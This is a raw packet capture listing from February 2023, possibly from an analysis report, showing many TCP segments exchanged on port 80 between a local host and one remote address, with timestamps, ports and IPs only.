Feb 16, 2023 13:57:19.529515028 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.529520988 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.529541016 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.529562950 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.529567003 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.529583931 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.529603004 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.529606104 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.529630899 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.529643059 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.529653072 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.529674053 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.529694080 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.529714108 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.529723883 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.529733896 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.529757977 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.529762030 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.529778957 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.529791117 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.529804945 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.529828072 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.529831886 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.529850006 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.529867887 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.529867887 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.529895067 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.529912949 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.529921055 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.529948950 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.529968977 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.529983044 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.529989958 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.530013084 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.530014038 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.530033112 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.530046940 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.530054092 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.530076981 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.530095100 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.530098915 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.530114889 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.530128002 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.530136108 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.530177116 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.530194998 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.530209064 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.530214071 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.530237913 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.530240059 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.530263901 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.530282974 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.530296087 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.530303955 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.530327082 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.530338049 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.530349016 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.530368090 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.530370951 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.530389071 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.530404091 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.530410051 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.530428886 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.530450106 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.530453920 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.530478954 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.530489922 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.530502081 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.530522108 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.530539989 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.530560970 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.530561924 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.530585051 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.530602932 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.530603886 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.530628920 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.530636072 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.530648947 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.530668020 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.530672073 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.530702114 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.530710936 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.530721903 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.530742884 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.530755043 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.530766010 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.530785084 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.530814886 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.573402882 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.573596001 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.573643923 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.573663950 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.573688030 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.573707104 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.573741913 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.573790073 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.574995995 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.576551914 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.691543102 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.691611052 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.691638947 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.691674948 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.691694975 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.691735029 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.691757917 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.691787958 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.691823959 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.691843033 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.691900969 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.691941023 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.691997051 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.692011118 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.692023993 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.692050934 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.692051888 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.692080021 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.692097902 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.692106962 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.692135096 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.692167997 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.692195892 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.692218065 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.692223072 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.692250967 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.692279100 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.692280054 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.692307949 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.692321062 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.692336082 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.692364931 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.692390919 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.692420006 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.692425966 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.692455053 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.692456007 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.692485094 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.692507982 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.692511082 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.692538977 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.692564011 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.692584038 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.692610979 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.692636967 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.692662954 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.692687035 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.692689896 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.692718983 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.692724943 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.692748070 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.692764044 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.692776918 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.692804098 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.692825079 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.692831039 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.692859888 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.692873955 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.692887068 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.692914009 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.692946911 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.692951918 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.692975998 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.692986965 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.693012953 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.693038940 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.693064928 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.693077087 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.693092108 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.693115950 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.693119049 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.693146944 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.693160057 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.693172932 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.693200111 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.693208933 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.693227053 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.693253994 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.693280935 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.693294048 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.693309069 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.693336010 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.693346024 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.693365097 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.693368912 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.693392038 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.693418980 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.693450928 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.693474054 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.693478107 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.693506002 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.693516016 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.693536043 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.693541050 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.693655014 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.693701029 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.693711042 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.693727970 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.693753004 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.693780899 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.693794012 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.693806887 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.693828106 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.693833113 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.693860054 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.693876028 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.693885088 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.693912029 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.693921089 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.693938017 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.693963051 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.693989038 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.694000959 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.694015980 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.694035053 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.694042921 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.694070101 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.694082022 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.694097042 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.694123030 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.694148064 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.694161892 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.694175959 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.694194078 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.694205046 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.694231987 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.694258928 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.694272041 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.694284916 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.694307089 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.694310904 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.694338083 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.694350958 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.694364071 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.694391012 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.694400072 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.694416046 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.694442987 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.694468975 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.694482088 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.694495916 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.694524050 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.694525003 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.694552898 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.694569111 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.694581032 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.694607973 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.694622040 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.694636106 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.694663048 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.694686890 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.694703102 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.694732904 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.694744110 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.694760084 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.694786072 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.694812059 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.694833040 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.694837093 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.694864035 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.694876909 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.694890022 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.694904089 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.694916010 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.694941998 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.694953918 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.694967985 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.694993973 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.695018053 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.695033073 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.695044041 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.695065975 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.695071936 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.695101023 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.695110083 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.695130110 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.695156097 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.695182085 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.695202112 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.695209026 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.695229053 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.695236921 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.695265055 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.695290089 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.695301056 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.695317030 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.695333958 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.695344925 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.695370913 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.695396900 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.695410967 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.695425987 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.695440054 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.695453882 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.695481062 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.695507050 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.695521116 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.695535898 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.695549965 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.695563078 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.695589066 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.695614100 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.695627928 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.695640087 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.695662975 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.695666075 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.695693016 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.695704937 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.695719004 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.695744991 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.695770025 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.695784092 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.695797920 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.695823908 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.695826054 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.695851088 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.695858955 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.695878983 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.695882082 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.695904970 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.695905924 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.695930958 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.695934057 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.695956945 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.695961952 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.695976019 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.695988894 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.696000099 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.696016073 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.696026087 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.696042061 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.696053982 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.696069002 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.696079016 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.696095943 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.696105003 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.696121931 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.696131945 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.696147919 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.696160078 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.696175098 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.696183920 CET	49687	80	192.168.2.3	23.106.124.133
